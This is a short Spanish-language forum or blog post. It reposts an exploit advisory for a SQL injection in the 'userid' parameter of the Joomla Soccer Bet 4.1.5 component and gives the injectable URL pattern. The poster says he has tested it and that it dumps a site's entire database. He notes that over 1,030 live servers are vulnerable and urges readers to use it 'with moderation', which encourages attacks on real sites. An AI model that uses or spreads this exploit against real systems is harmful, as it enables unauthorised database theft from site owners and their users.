Joomla! Component Soccer Bet 4.1.5 - 'userid' Parameter SQL Injection

Amigos pues les comentamos que esta todavia IN THE WILD  este pequeño exploit que tiene que ver con un SQL inyección y pertenece a nuestro y querido amigo JOOMLA.

# # # # #

# Exploit Title: Joomla! Component Soccer Bet 4.1.5 - 'userid' Parameter SQL Injection

#

# Date: 12.02.2017

# Vendor Homepage: http://www.jomsoccerbet.com/

# Software Buy: https://extensions.joomla.org/extensions/extension/sports-a-games/tips-a-betts/soccer-bet/

# Demo: http://demo.jomsoccerbet.com/

# Version: 4.1.5

# Tested on: Win7 x64, Kali Linux x64

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Mail : ihsan[@]ihsan[.]net

# # # # #

# SQL Injection/Exploit :

# http://localhost/[PATH]/index.php?option=com_soccerbet&view=userbethistory&userid=[SQL]

# # # # #

En si lo acabo de probar y funciona perfectamente para la extracción de la db con todas sus tablas de un sitio hecho en JOOMLA.

y  hay mas de 1,030  servidores vulnerables a este bug.

 Usenlo con moderación.

Saludos

Li. Rodolfo H. Baz

www.ccat.edu.mx